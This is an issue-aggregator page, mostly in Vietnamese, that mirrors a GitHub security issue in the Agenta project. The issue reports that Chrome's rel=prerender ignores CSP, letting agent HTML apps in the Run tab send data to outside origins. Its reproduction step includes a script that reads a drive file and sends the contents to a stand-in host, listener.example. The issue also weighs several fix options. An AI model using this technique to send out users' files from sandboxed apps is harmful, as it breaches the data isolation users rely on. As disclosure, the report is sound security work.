Hacktoberfest 2026: những issue maintainer đã đánh dấu cho tháng Mười, đang mở và phù hợp người mới. Xem issue Hacktoberfest

Run apps can send one request per load via <link rel="prerender">, which ignores CSP (Chrome)

Đang mở
#7,079 1 bình luận 1 reaction 0 người được giao Xem trên GitHub

Maintainer thường phản hồi trong vòng 1 ngày

Chưa có ai nhận issue này.

Đánh giá

Độ khó
5/5
Thời gian dự kiến
Hơn một tuần
Mức phù hợp với người mới
25/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
github, html, javascript, typescript
Lĩnh vực
backend, desktop, security

Hướng nghiên cứu

Start with the Run hardening work in #7066 and the contract at docs/design/agent-html-apps/contracts.md; the issue does not name implementation or test files. First assess the listed fix options and verify the Chrome behavior, since the proposed approaches differ in robustness and scope. Done means closing or explicitly documenting the rel=prerender data-exfiltration gap; the issue also notes Firefox and Safari remain untested.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

security

🤖 The AI agent says:

In Chrome, an agent HTML app running in the drive's Run tab can send one network request per page load with data in its URL, by adding a <link rel="prerender"> element. Chrome's prerender prefetch ignores the app's Content Security Policy.

Reproduction

  1. Turn on the Agent apps preference.

  2. In an agent's drive, create an app (for example create_app board@1 in apps/x). Add this to its index.html:

    <script>
      window.agenta.ready
        .then(() => window.agenta.fs.read("app.json"))
        .then((text) => {
          const link = document.createElement("link")
          link.rel = "prerender"
          link.href = "https://listener.example/x?d=" + encodeURIComponent(text.slice(0, 200))
          document.head.appendChild(link)
        })
    </script>
    

    Use a listener you control in place of listener.example.

  3. Open the file, choose Run, and grant access.

  4. The listener receives GET /x?d=<file contents> with Sec-Purpose: prefetch. The same happens with a static <link rel="prerender"> in the markup.

The same request also leaves from a plain top-level page whose CSP is default-src 'none', so this is Chrome behaviour, not something specific to the Run frame.

Expected vs actual

  • Expected: a Run app can reach the drive only through the bridge and cannot send data to any other origin. RUN_CSP sets default-src 'none', and the wrapper frame from #7066 sets frame-src 'none'.
  • Actual: Chrome sends the rel=prerender prefetch regardless of CSP, so the app gets one request per load to any URL, with whatever it could read in the query string.

Scope

  • The gap predates v0.120.0. The Run hardening in #7066 closed the other ways out that were tested, including self-navigation, meta refresh, data:/blob:/javascript: hops, link clicks, forms, prefetch/preconnect, sendBeacon and keepalive fetch. It also stopped the bridge port reaching a second document.
  • Run sits behind the Agent apps preference, which is off by default. An app only gets drive access after the user grants it.
  • The grant sheet now says the app's code "can read these files and may be able to send what it reads outside Agenta". docs/design/agent-html-apps/contracts.md records the gap.
  • Only Chrome was tested. Firefox and Safari were not checked.

Options for a real fix

  1. Serve apps from a separate, locked-down origin. Run apps on a dedicated app-host origin that returns the policy as an HTTP header, not a meta tag. That origin could add further network controls: for example, no DNS for arbitrary hosts in a hardened deployment, or a response that disables speculative loading. This is the most robust option, but it is a hosting change (new origin, header config, self-host docs).
  2. Neutralise rel=prerender in the document. The bridge stub runs before app code, so it could patch HTMLLinkElement.prototype.rel, relList, setAttribute and setAttributeNode, and strip static link[rel~=prerender] in the assembler. This is best effort only: markup inserted through innerHTML, document.write or insertAdjacentHTML is created by the parser, not the setters, so the list of paths never ends.
  3. Watch Chromium. rel=prerender now maps to NoState Prefetch. If Chromium drops it or makes it honour CSP, this closes on its own. A test that loads a probe page in Chrome would tell us when.
  4. Keep the current state and document it. Treat Run apps as able to send out what they read, and gate access on trust. This is where the product is today.

Evidence from the v0.120.0 release QA (Chrome probes, including a top-level page with the same CSP) is available on request.

Ngôn ngữ chính
TypeScript
Star
4.8k
Fork
690
Merge trung bình
21 giờ 53 phút
Pull request đã merge (30 ngày)
451

Chuẩn bị môi trường

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của Agenta-AI/agenta

Tất cả issue của Agenta-AI/agenta

Issue tương tự

Thêm issue về TypeScript

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.